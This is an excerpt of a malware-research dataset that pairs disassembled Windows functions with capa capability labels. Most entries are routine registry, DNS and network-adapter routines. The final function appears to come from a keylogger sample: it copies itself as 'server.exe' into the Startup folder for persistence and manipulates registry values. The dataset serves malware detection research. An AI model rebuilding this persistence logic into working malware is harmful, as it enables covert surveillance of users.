joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140091bc8
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov rsi, r8
mov rbp, rdx
mov r14, rcx
mov rcx, qword [section..data]
lea rax, section..data
lea r12, [0x1400bd728]
cmp rcx, rax
je 0x140091c21
test byte [rcx + 0x1c], 1
je 0x140091c21
cmp byte [rcx + 0x19], 5
jb 0x140091c21
mov rcx, qword [rcx + 0x10]
mov edx, 0x4a
mov r9, rbp
mov r8, r12
call fcn.1400062dc
mov rcx, qword [r14]
lea rax, [rsp + 0x70]
xor r15d, r15d
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x30]
mov qword [rsp + 0x20], r15
xor r8d, r8d
mov dword [rsp + 0x70], r15d
mov rdx, rbp
mov dword [rsp + 0x88], r15d
mov edi, r15d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
nop dword [rax + rax]
mov ebx, eax
test eax, eax
jne 0x140091c84
mov eax, dword [rsp + 0x30]
dec eax
cmp eax, 1
jbe 0x140091c74
lea ebx, [r15 + 0xd]
jmp 0x140091c84
mov edi, dword [rsp + 0x70]
mov ebx, r15d
shr edi, 1
mov dword [rsp + 0x88], edi
mov r10, qword [section..data]
lea rax, section..data
cmp r10, rax
je 0x140091cc0
test byte [r10 + 0x1c], 2
je 0x140091cc0
cmp byte [r10 + 0x19], 4
jb 0x140091cc0
mov rcx, qword [r10 + 0x10]
mov edx, 0x4b
mov r9d, ebx
mov r8, r12
call fcn.14000ad20
mov r10, qword [section..data]
test ebx, ebx
jne 0x140091da7
mov r8, qword [rsi]
lea edx, [rdi + 2]
lea ecx, [rbx + 1]
mov eax, dword [r8 - 0xc]
sub ecx, dword [r8 - 8]
sub eax, edx
or ecx, eax
jge 0x140091cea
mov rcx, rsi
call fcn.140005c2c
mov r8, qword [rsi]
lea r9, [rsp + 0x88]
mov rdx, rbp
mov rcx, r14
call fcn.140013998
mov ebx, eax
mov rcx, qword [section..data]
lea rdi, section..data
cmp rcx, rdi
je 0x140091d32
test byte [rcx + 0x1c], 2
je 0x140091d32
cmp byte [rcx + 0x19], 4
jb 0x140091d32
mov rcx, qword [rcx + 0x10]
mov edx, 0x4c
mov r9d, eax
mov r8, r12
call fcn.14000ad20
mov rcx, qword [rsi]
test ebx, ebx
je 0x140091d3e
mov eax, r15d
jmp 0x140091d59
test rcx, rcx
je 0x140091d39
or rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], r15w
jne 0x140091d47
test eax, eax
js 0x140091dff
cmp eax, dword [rcx - 0xc]
jg 0x140091dff
mov dword [rcx - 0x10], eax
movsxd rcx, eax
mov rax, qword [rsi]
mov word [rax + rcx*2], r15w
mov r10, qword [section..data]
cmp r10, rdi
je 0x140091de3
test byte [r10 + 0x1c], 2
je 0x140091dae
cmp byte [r10 + 0x19], 4
jb 0x140091dae
mov r9, qword [rsi]
mov edx, 0x4d
mov rcx, qword [r10 + 0x10]
mov r8, r12
call fcn.1400062dc
mov r10, qword [section..data]
jmp 0x140091dae
lea rdi, section..data
cmp r10, rdi
je 0x140091de3
test byte [r10 + 0x1c], 1
je 0x140091de3
movzx edx, byte [r10 + 0x19]
mov eax, ebx
neg eax
sbb ecx, ecx
and ecx, 0xfffffffd
add ecx, 5
cmp edx, ecx
jb 0x140091de3
mov rcx, qword [r10 + 0x10]
mov edx, 0x4e
mov r9d, ebx
mov r8, r12
call fcn.14000ad20
lea r11, [rsp + 0x40]
mov eax, ebx
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
mov ecx, 0x80070057
call fcn.1400055a0
int3
Function at 0x140091e88
Capabilities:
Query or enumerate registry key

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x180]
sub rsp, 0x280
mov rax, qword [0x1400cd220]
xor rax, rsp
mov qword [rbp + 0x170], rax
and qword [rsp + 0x48], 0
lea rax, [rsp + 0x60]
and qword [rsp + 0x50], 0
mov rdi, rcx
mov rcx, qword [rcx]
mov r9d, 0x2001f
and qword [rsp + 0x58], 0
xor r8d, r8d
and qword [rsp + 0x60], 0
mov rsi, rdx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
nop dword [rax + rax]
mov rcx, qword [rsp + 0x48]
mov ebx, eax
test eax, eax
jne 0x140091fa8
test rcx, rcx
je 0x140091f12
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop dword [rax + rax]
mov ebx, eax
mov rcx, qword [rsp + 0x60]
test ebx, ebx
mov qword [rsp + 0x48], rcx
jmp 0x140091f38
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x48]
call fcn.140091e88
mov rcx, qword [rsp + 0x48]
mov ebx, eax
test eax, eax
jne 0x140091fa8
lea rax, [rsp + 0x68]
mov dword [rsp + 0x40], 0x100
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x40]
and qword [rsp + 0x30], 0
lea r8, [rsp + 0x70]
and qword [rsp + 0x28], 0
xor edx, edx
and qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
nop dword [rax + rax]
test eax, eax
je 0x140091f20
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x140091f96
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop dword [rax + rax]
and qword [rsp + 0x48], 0
mov rdx, rsi
mov rcx, rdi
call fcn.14009145c
mov rcx, qword [rsp + 0x48]
mov ebx, eax
test rcx, rcx
je 0x140091fb9
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop dword [rax + rax]
mov eax, ebx
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.140003680
mov rbx, qword [rsp + 0x2b0]
add rsp, 0x280
pop rdi
pop rsi
pop rbp
ret
Function at 0x140093dc8
Capabilities:
Resolve dns

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x460
mov rax, qword [0x1400cd220]
xor rax, rsp
mov qword [rsp + 0x450], rax
mov r14, r8
mov esi, edx
mov rdi, rcx
mov rax, qword [section..data]
lea r12, section..data
cmp rax, r12
je 0x140093e3d
test byte [rax + 0x1c], 1
je 0x140093e3d
cmp byte [rax + 0x19], 5
jb 0x140093e3d
mov r9, rcx
mov dword [rsp + 0x20], esi
mov rcx, qword [rax + 0x10]
lea r8, [0x1400bd7f0]
mov edx, reloc.OLEAUT32.dll_SafeArrayGetDim
call fcn.1400348dc
mov rax, qword [section..data]
xor ebx, ebx
lea ebp, [rbx + 2]
lea r15d, [rbx + 0x17]
cmp bp, word [rdi]
je 0x140093e5b
cmp r15w, word [rdi]
je 0x140093e5b
mov ebx, 0x80070057
jmp 0x140093f3c
mov dword [rsp + 0x30], ebp
lea r8, [rsp + 0x40]
mov dword [rsp + 0x28], ebx
mov r9d, 0x401
mov edx, 0x80
mov qword [rsp + 0x20], rbx
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_getnameinfo]
nop dword [rax + rax]
test eax, eax
je 0x140093eeb
call qword [sym.imp.WSOCK32.dll_WSAGetLastError]
nop dword [rax + rax]
mov r9d, eax
test eax, eax
jg 0x140093ea2
mov ecx, eax
jmp 0x140093eac
movzx ecx, r9w
or ecx, 0x80070000
test ecx, ecx
mov eax, 0x80004005
cmovns ecx, eax
mov ebx, ecx
mov rax, qword [section..data]
cmp rax, r12
je 0x140093f7a
test byte [rax + 0x1c], bpl
je 0x140093f3c
cmp byte [rax + 0x19], bpl
jb 0x140093f3c
mov rcx, qword [rax + 0x10]
lea r8, [0x1400bd7f0]
mov edx, SafeArrayUnlock
call fcn.14000ad20
jmp 0x140093f35
test esi, esi
je 0x140093f28
cmp r15w, word [rdi]
jne 0x140093f28
mov edx, 0x25
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_private_l1_1_0.dll_strchr]
nop dword [rax + rax]
test rax, rax
je 0x140093f12
mov byte [rax], bl
lea r8, [rsp + 0x40]
mov rcx, r14
lea rdx, str.__hs_
call fcn.140007774
jmp 0x140093f35
lea rdx, [rsp + 0x40]
mov rcx, r14
call fcn.14002e0e8
mov rax, qword [section..data]
cmp rax, r12
je 0x140093f7a
test byte [rax + 0x1c], 1
je 0x140093f7a
movzx ecx, byte [rax + 0x19]
mov edx, ebx
sar edx, 0x1f
and edx, 0xfffffffd
add edx, 5
cmp ecx, edx
jl 0x140093f7a
mov rcx, qword [r14]
lea r8, [0x1400bd7f0]
mov qword [rsp + 0x20], rcx
mov edx, SafeArrayUnlock
mov rcx, qword [rax + 0x10]
mov r9d, ebx
call fcn.1400195b0
mov eax, ebx
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.140003680
lea r11, [rsp + 0x460]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x140093fb0
Capabilities:
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
push r14
push r15
sub rsp, 0x60
mov rsi, rdx
mov rdi, rcx
mov rcx, qword [section..data]
lea r14, section..data
lea r15, [0x1400bd7f0]
cmp rcx, r14
je 0x140094008
test byte [rcx + 0x1c], 1
je 0x140094008
cmp byte [rcx + 0x19], 5
jb 0x140094008
mov rcx, qword [rcx + 0x10]
mov edx, 0xa
mov r9, rdi
mov qword [rsp + 0x20], rsi
mov r8, r15
call fcn.14003274c
xor edx, edx
mov r8d, 0x80
mov rcx, rsi
xor ebx, ebx
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
and qword [rsp + 0x90], rbx
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x30], 4
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
mov rcx, qword [section..data]
cmp rcx, r14
je 0x140094066
test byte [rcx + 0x1c], 2
je 0x140094066
cmp byte [rcx + 0x19], 5
jb 0x140094066
mov rcx, qword [rcx + 0x10]
lea edx, [rbx + 0xb]
mov r9, rdi
mov r8, r15
call fcn.1400062dc
lea r9, [rsp + 0x90]
xor edx, edx
lea r8, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_GetAddrInfoW]
nop dword [rax + rax]
test eax, eax
je 0x1400940df
jg 0x14009408e
mov ebx, eax
jmp 0x140094097
movzx ebx, ax
or ebx, 0x80070000
test ebx, ebx
mov ecx, 0x80004005
cmovns ebx, ecx
mov rcx, qword [section..data]
cmp rcx, r14
je 0x14009415d
test byte [rcx + 0x1c], 2
je 0x14009415d
cmp byte [rcx + 0x19], 2
jb 0x14009415d
mov rcx, qword [rcx + 0x10]
mov edx, SafeArrayGetDim
mov r9d, ebx
mov dword [rsp + 0x20], eax
mov r8, r15
call fcn.140019560
jmp 0x14009415d
mov rax, qword [rsp + 0x90]
mov r9, qword [rax + 0x10]
cmp r9, 0x80
jbe 0x14009411c
mov rcx, qword [section..data]
cmp rcx, r14
je 0x140094115
test byte [rcx + 0x1c], 2
je 0x140094115
cmp byte [rcx + 0x19], 2
jb 0x140094115
mov rcx, qword [rcx + 0x10]
call fcn.140095ff4
mov ebx, 0x80004005
jmp 0x14009415d
mov rcx, qword [section..data]
cmp rcx, r14
je 0x140094145
test byte [rcx + 0x1c], 2
je 0x140094145
cmp byte [rcx + 0x19], 5
jb 0x140094145
mov rcx, qword [rcx + 0x10]
mov edx, SafeArrayGetDim
mov r8, r15
call fcn.14004a97c
mov rdx, qword [rsp + 0x90]
mov rcx, rsi
mov r8, qword [rdx + 0x10]
mov rdx, qword [rdx + 0x20]
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.WS2_32.dll_FreeAddrInfoW]
nop dword [rax + rax]
mov r10, qword [section..data]
cmp r10, r14
je 0x1400941bd
test byte [r10 + 0x1c], 1
je 0x1400941bd
movzx eax, byte [r10 + 0x19]
mov ecx, ebx
sar ecx, 0x1f
and ecx, 0xfffffffd
add ecx, 5
cmp eax, ecx
jl 0x1400941bd
test ebx, ebx
js 0x1400941a1
movzx eax, word [rsi]
jmp 0x1400941a4
or eax, 0xffffffff
mov rcx, qword [r10 + 0x10]
mov edx, reloc.OLEAUT32.dll_SafeArrayDestroy
mov r9d, ebx
mov word [rsp + 0x20], ax
mov r8, r15
call fcn.1400961b8
lea r11, [rsp + 0x60]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
Function at 0x140094834
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x30
mov rcx, qword [section..data]
lea r14, section..data
mov ebp, 1
cmp rcx, r14
je 0x140094870
test byte [rcx + 0x1c], bpl
je 0x140094870
mov rcx, qword [rcx + 0x10]
lea edx, [rbp + 0x16]
lea r8, [0x1400bd7f0]
call fcn.1400062b0
and qword [rsp + 0x78], 0
lea rax, [rsp + 0x78]
mov r9d, 0x20119
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREPoliciesMicrosoftWindowsMediaPlayer
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
nop dword [rax + rax]
test eax, eax
jne 0x14009493c
and dword [rsp + 0x60], eax
lea r9, [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
lea rdx, str.PreventLibrarySharing
lea rax, [rsp + 0x60]
mov dword [rsp + 0x68], 4
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
nop dword [rax + rax]
mov rbx, rsi
test eax, eax
jne 0x14009493e
cmp dword [rsp + 0x70], 4
mov edi, ebp
mov r9d, ebp
jne 0x140094943
cmp dword [rsp + 0x60], ebp
jne 0x140094943
mov rcx, qword [section..data]
xor edi, edi
cmp rcx, r14
je 0x140094970
xor r9d, r9d
test byte [rcx + 0x1c], 2
je 0x14009494a
cmp byte [rcx + 0x19], 3
jb 0x14009494a
mov rcx, qword [rcx + 0x10]
lea edx, [rax + 0x18]
lea r8, [0x1400bd7f0]
call fcn.1400062b0
xor r9d, r9d
jmp 0x140094943
xor ebx, ebx
mov r9d, ebp
mov edi, ebp
mov rcx, qword [section..data]
cmp rcx, r14
je 0x140094970
test byte [rcx + 0x1c], bpl
je 0x140094970
cmp byte [rcx + 0x19], 5
jb 0x140094970
mov rcx, qword [rcx + 0x10]
lea r8, [0x1400bd7f0]
mov edx, DispGetParam
call fcn.14000637c
test rbx, rbx
je 0x140094984
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop dword [rax + rax]
mov eax, edi
add rsp, 0x30
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14009866c
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
mov qword [r11 + 0x18], rdi
mov qword [r11 + 0x20], r12
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x60
mov r12, r9
mov r14, r8
mov rsi, rdx
mov r15, rcx
lea rax, section..data
mov rcx, qword [section..data]
cmp rcx, rax
je 0x1400986d2
test byte [rcx + 0x1c], 1
je 0x1400986d2
cmp byte [rcx + 0x19], 5
jb 0x1400986d2
mov edx, 0x4a
mov qword [r11 - 0x58], r8
mov r9, rsi
lea r8, [0x1400bd8b8]
mov rcx, qword [rcx + 0x10]
call fcn.140019374
and qword [rbp - 0x20], 0
and qword [rbp - 0x18], 0
and qword [rbp - 0x10], 0
mov rdx, rsi
lea rcx, [rbp - 0x28]
call fcn.140005058
nop
lea rcx, [rbp - 0x28]
call fcn.1400304d8
mov rbx, qword [rbp - 0x28]
mov r8, rbx
lea rdx, [rbp - 0x20]
mov rcx, r15
call fcn.140099214
mov edi, eax
test eax, eax
jne 0x14009879b
mov dword [rbp - 0x30], 4
lea rax, [rbp - 0x30]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
lea r9, [rbp - 0x2c]
xor r8d, r8d
mov rdx, r14
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
nop dword [rax + rax]
mov edi, eax
test eax, eax
je 0x14009878c
cmp eax, 2
jne 0x1400987c5
mov edi, 0x490
mov r10, qword [section..data]
lea rsi, section..data
cmp r10, rsi
je 0x14009880d
test byte [r10 + 0x1c], al
je 0x1400987d3
cmp byte [r10 + 0x19], 4
jb 0x1400987d3
lea edx, [rax + 0x49]
lea r8, [0x1400bd8b8]
mov rcx, qword [r10 + 0x10]
call fcn.1400062b0
jmp 0x1400987cc
mov eax, dword [rbp - 0x2c]
sub eax, 4
neg eax
sbb edi, edi
and edi, 0xd
jmp 0x1400987c5
cmp eax, 2
jne 0x1400987c5
mov rax, qword [r15]
movabs r10, 0x9f351e90765dd070
mov r9, r12
mov r8, r14
mov rdx, rsi
mov rcx, r15
mov rax, qword [rax + 0x38]
call qword [case.0x140071786.0]
mov edi, eax
lea rsi, section..data
mov r10, qword [section..data]
cmp r10, rsi
je 0x14009880d
test byte [r10 + 0x1c], 1
je 0x14009880d
movzx edx, byte [r10 + 0x19]
mov eax, edi
neg eax
sbb ecx, ecx
and ecx, 0xfffffffd
add ecx, 5
cmp edx, ecx
jb 0x14009880d
mov edx, 0x4c
mov r9d, edi
lea r8, [0x1400bd8b8]
mov rcx, qword [r10 + 0x10]
call fcn.14000ad20
nop
lea rdx, [rbx - 0x18]
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140098839
mov rcx, qword [rdx]
mov rax, qword [rcx]
movabs r10, 0xee98078a7ad38370
mov rax, qword [rax + 8]
call qword [case.0x140071786.0]
nop
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x14009884e
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop dword [rax + rax]
mov eax, edi
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14009cb50
Capabilities:
Get local ipv4 addresses

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r13
push r14
push r15
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov ebp, ecx
mov r10, qword [section..data]
lea r13, section..data
cmp r10, r13
je 0x14009cbae
test byte [r10 + 0x1c], 2
je 0x14009cbae
cmp byte [r10 + 0x19], 5
jb 0x14009cbae
mov r9d, ecx
lea r8, [0x1400bda68]
mov rcx, qword [r10 + 0x10]
mov edx, 0x1c
call fcn.14000637c
mov r10, qword [section..data]
xor ebx, ebx
mov dword [rsp + 0x68], ebx
mov edi, ebx
mov ecx, ebx
test rsi, rsi
jne 0x14009cbc7
mov edi, 0x80070057
jmp 0x14009cce1
xor r9d, r9d
mov qword [rsi], rbx
lea rax, [rsp + 0x68]
xor r8d, r8d
mov ecx, ebp
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0xe]
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
nop dword [rax + rax]
mov r15d, 0xa
cmp eax, 0x6f
jne 0x14009cc33
mov rcx, qword [rsi]
call fcn.140003b28
mov ecx, dword [rsp + 0x68]
call fcn.140003b34
lea rcx, [rsp + 0x68]
mov qword [rsi], rax
xor r8d, r8d
mov qword [rsp + 0x20], rcx
mov r9, rax
mov ecx, ebp
lea edx, [r8 + 0xe]
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
nop dword [rax + rax]
add r15d, 0xffffffff
jne 0x14009cbf2
test eax, eax
je 0x14009cc93
jg 0x14009cc3d
mov edi, eax
jmp 0x14009cc46
movzx edi, ax
or edi, 0x80070000
test edi, edi
mov ecx, 0x80004005
cmovns edi, ecx
mov r10, qword [section..data]
cmp r10, r13
je 0x14009cccb
test byte [r10 + 0x1c], 0x20
je 0x14009cc8d
cmp byte [r10 + 0x19], 2
jb 0x14009cc8d
mov rcx, qword [r10 + 0x10]
lea r8, [0x1400bda68]
mov edx, 0x1e
mov dword [rsp + 0x20], eax
mov r9d, edi
call fcn.140019560
mov r10, qword [section..data]
test edi, edi
js 0x14009cccb
jmp 0x14009cc9a
mov r10, qword [section..data]
mov ecx, dword [rsp + 0x68]
cmp ecx, 0x1c0
jae 0x14009cce1
mov edi, 0x8000ffff
cmp r10, r13
je 0x14009cccb
test byte [r10 + 0x1c], 0x20
je 0x14009cccb
cmp byte [r10 + 0x19], 2
jb 0x14009cccb
mov dword [rsp + 0x20], ecx
mov rcx, qword [r10 + 0x10]
call fcn.14009d5a0
mov rcx, qword [rsi]
call fcn.140003b28
mov ecx, dword [rsp + 0x68]
mov r10, qword [section..data]
mov qword [rsi], rbx
test r14, r14
je 0x14009ccf7
test edi, edi
mov eax, ebx
cmovns eax, ecx
mov dword [r14], eax
mov r10, qword [section..data]
cmp r10, r13
je 0x14009cd4c
test byte [r10 + 0x1c], 2
je 0x14009cd4c
movzx eax, byte [r10 + 0x19]
mov ecx, edi
sar ecx, 0x1f
and ecx, 0xfffffffd
add ecx, 5
cmp eax, ecx
jl 0x14009cd4c
test r14, r14
je 0x14009cd21
mov eax, dword [r14]
jmp 0x14009cd23
mov eax, ebx
test rsi, rsi
je 0x14009cd2b
mov rbx, qword [rsi]
mov rcx, qword [r10 + 0x10]
lea r8, [0x1400bda68]
mov dword [rsp + 0x28], eax
mov edx, 0x20
mov r9d, edi
mov qword [rsp + 0x20], rbx
call fcn.140019a08
mov rbx, qword [rsp + 0x60]
mov eax, edi
mov rbp, qword [rsp + 0x70]
add rsp, 0x30
pop r15
pop r14
pop r13
pop rdi
pop rsi
ret
Function at 0x14009df10
Capabilities:
Get local ipv4 addresses

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r15
sub rsp, 0x30
mov rbp, rcx
mov rcx, qword [section..data]
lea r15, section..data
cmp rcx, r15
je 0x14009df53
test byte [rcx + 0x1c], 2
je 0x14009df53
mov rcx, qword [rcx + 0x10]
lea r8, [0x1400bda78]
mov edx, 0xa
call fcn.1400062b0
mov eax, 0x1f40
xor ebx, ebx
mov dword [rsp + 0x58], eax
mov ecx, eax
lea rdx, [0x1400be8a8]
call fcn.140004f18
mov rsi, rax
test rax, rax
je 0x14009e025
xor r8d, r8d
lea rax, [rsp + 0x58]
mov r9, rsi
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r8 + 0xe]
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
nop dword [rax + rax]
mov edi, eax
cmp eax, 0x7a
je 0x14009dfa6
cmp eax, 0x6f
jne 0x14009dfbd
mov rcx, rsi
call fcn.140003b28
xor esi, esi
inc ebx
cmp ebx, 3
jae 0x14009dfd2
mov eax, dword [rsp + 0x58]
jmp 0x14009df5e
test edi, edi
jg 0x14009dfc5
mov ebx, edi
jmp 0x14009dfce
movzx ebx, di
or ebx, 0x80070000
test ebx, ebx
js 0x14009e02a
test edi, edi
jg 0x14009dfda
mov ebx, edi
jmp 0x14009dfe3
movzx ebx, di
or ebx, 0x80070000
test ebx, ebx
js 0x14009e02a
mov qword [rbp + 0x10], rsi
xor esi, esi
call fcn.140004e38
test al, al
je 0x14009e02a
call qword [sym.imp.ext_ms_win_casting_receiver_l1_1_0.dll_GetXboxWirelessNetworkInterfaceIndex]
nop dword [rax + rax]
test eax, eax
je 0x14009e02a
mov rcx, qword [rbp + 0x10]
jmp 0x14009e015
cmp dword [rcx + 4], eax
je 0x14009e01c
mov rcx, qword [rcx + 8]
test rcx, rcx
jne 0x14009e00c
jmp 0x14009e02a
mov dword [rcx + 0x64], 0x47
jmp 0x14009e02a
mov ebx, 0x8007000e
mov rcx, rsi
call fcn.140003b28
mov rcx, qword [section..data]
cmp rcx, r15
je 0x14009e074
test byte [rcx + 0x1c], 2
je 0x14009e074
movzx edx, byte [rcx + 0x19]
mov r9d, ebx
sar r9d, 0x1f
and r9d, 0xfffffffd
add r9d, 5
cmp edx, r9d
jl 0x14009e074
mov rcx, qword [rcx + 0x10]
lea r8, [0x1400bda78]
mov edx, SafeArrayDestroy
mov r9d, ebx
call fcn.14000637c
mov rbp, qword [rsp + 0x60]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop r15
pop rdi
pop rsi
ret
Function at 0x140001390
Capabilities:
Check mutex on windows
Copy file
Delete registry value
Get common file path
Set registry value

Disassembly:
sub rsp, 0x6b8
mov rax, qword [0x140046010]
xor rax, rsp
mov qword [rsp + 0x6a0], rax
lea r8, str.def9b6cd3f2b0c43097dfbc918862b82
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
test rax, rax
jne 0x1400013c8
lea rcx, str.mutex_create_error__n
jmp 0x1400013e5
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
lea rcx, str.mutex_already_exists__n
lea rdx, str.mutex_create_success__n
cmovne rcx, rdx
mov qword [rsp + 0x6b0], rbx
call fcn.140001320
mov eax, dword [0x14003faf8]
lea rcx, [rsp + 0x490]
movups xmm0, xmmword [str.server.exe]
mov dword [rsp + 0x68], eax
xor edx, edx
movzx eax, word [0x14003fafc]
mov r8d, 0x208
movups xmmword [rsp + 0x58], xmm0
mov word [rsp + 0x6c], ax
call fcn.14000a110
xor edx, edx
lea rcx, [rsp + 0x70]
mov r8d, 0x208
call fcn.14000a110
xor edx, edx
lea rcx, [rsp + 0x280]
mov r8d, 0x208
call fcn.14000a110
mov r8d, 0x104
lea rdx, [rsp + 0x490]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x1400014d9
mov r9d, 1
lea rdx, [rsp + 0x70]
xor ecx, ecx
lea r8d, [r9 + 6]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea rdx, [rsp + 0x70]
mov ebx, eax
lea rcx, str.szStartupPath_s_n
call fcn.1400012c0
test ebx, ebx
je 0x1400014d9
lea rax, [rsp + 0x58]
mov edx, 0xc8
lea r9, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rsp + 0x280]
call fcn.1400060b0
xor r8d, r8d
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x490]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
call fcn.140006110
call fcn.140003890
xor ecx, ecx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rcx
lea rdx, str.Softwaredef9b6cd3f2b0c43097dfbc918862b82
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], rcx
xor r8d, r8d
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], ecx
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14000157f
lea rcx, str.test
mov rax, 0xffffffffffffffff
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x140001531
lea eax, [rax*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], eax
lea rdx, str._kl_
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.keylogger_save_OK__n
call fcn.1400012c0
lea rax, [rsp + 0x50]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.Softwaredef9b6cd3f2b0c43097dfbc918862b82
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400015d9
mov rcx, qword [rsp + 0x50]
lea rdx, str._kl_
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x50]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x1400015d9
lea rcx, str.keylogger_delete_OK__n
call fcn.1400012c0
mov rbx, qword [rsp + 0x6b0]
mov eax, 1
mov rcx, qword [rsp + 0x6a0]
xor rcx, rsp
call fcn.140006db0
add rsp, 0x6b8
ret